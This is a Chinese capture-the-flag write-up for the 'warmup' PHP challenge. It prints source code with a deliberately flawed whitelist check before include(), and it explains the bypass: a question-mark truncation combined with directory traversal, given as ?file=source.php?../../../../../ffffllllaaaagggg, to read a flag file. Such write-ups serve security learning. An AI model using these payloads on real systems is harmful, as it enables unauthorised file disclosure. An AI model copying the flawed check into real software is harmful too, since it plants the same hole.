warmup
首页只有一个笑脸,没有什么有效信息,
查看源代码发现,source.php。
访问source.php,显而易见,php代码审计。
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{ //设立白名单,source.php与hint.php
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
//$page的值为file传入的值,如果$page没有值或者$page的值不为字符串则输出you can't see it。返回Flase
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
//如果$page的值在白名单中则返回Ture
if (in_array($page, $whitelist)) {
return true;
}
//下面的代码单独举例说明。
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
//请求方法为REQUEST请求参数为file并且file的值为字符串,若是通过了emmm类中的checkFile方法则包含file上传值的文件。
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
//举例
//mb_strpos()函数,用于查找字符串中某个子字符串第一次出现位置的函数。
//如果找到了字符串,返回其第一次出现的位置(从 0 开始计数)。
//如果未找到子字符串,返回 false。
$str = "Hello, 你好";
$pos = mb_strpos($str, "你好");
if ($pos !== false) {
echo "子字符串第一次出现的位置: $pos"; // 输出: 子字符串第一次出现的位置: 7
} else {
echo "未找到子字符串";
}
//mb_substr()用于提取多字节字符串的子字符串的函数
// 示例字符串
$str = "Hello, 你好";
// 从位置 7 开始提取,长度为 2
$substring = mb_substr($str, 7, 2);
echo $substring; // 输出: 你好
// 从位置 0 开始提取,直到末尾
$substring = mb_substr($str, 0);
echo $substring; // 输出: Hello, 你好
// 从倒数第 5 个字符开始提取
$substring = mb_substr($str, -5);
echo $substring; // 输出: 你好
//刨析代码!
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
//mb_strpos($page . '?', '?')函数file的值,赋值给$page并且在其后拼接?【例如:file=flag,则$page=flag.php】最后返回第一个?出现的位置暂且令返回的值为index。
//紧接着执行mb_substr($page,0,index)函数。此函数下从第0个位置提取字符直到第index的位置截至。
//最后将提取出来的字符串赋值给$_page。如果$_page的值在白名单中则返回True。
if (in_array($_page, $whitelist)) {
return true;
}
//举例:
若file= flag将flie的值传给$page=flag
mb_strpos($page . '?', '?')此函数下拼接?在返回第一个问号出现的位置,$page=flag?返回的值为4。。
mb_substr($page,0,4)提取$page中从0开的到第四个字符也就是flag。而flag不在白名单中,所以不会进入if (in_array($_page, $whitelist)) {return true; }
//这段代码与上面位唯一的区别在于对参数的值进行了url解码,并无其它区别。
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
wirteup:
跟据上面刨析代码时的例子,可以想到,此题的关键就是如何让下面的函数执行完毕后在白名单中。
mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
那只能利用本体给出的白名单source.php与hint.php绕过。
?file=source.php?这样,mb_substr()函数返回的值为source.php在白名单中可以返回Ture。没有结束因为包含source.php毫无作用我们本来就可以访问它,这里只是借助白名单绕过。
访问hint.php,告诉我们flag的位置了,那就试着访问。
构造payload
?file=source.php?ffffllllaaaagggg
发现并没有回显,说明至少我们绕过了,没有值应该是没有访问到这个文件,说明ffffllllaaaagggg与source.php并不在一个目录下可能。就需要用到目录穿越。
?file=source.php?../ffffllllaaaagggg
?file=source.php?../../ffffllllaaaagggg
.
.
.
?file=source.php?../../../../../ffffllllaaaagggg
成功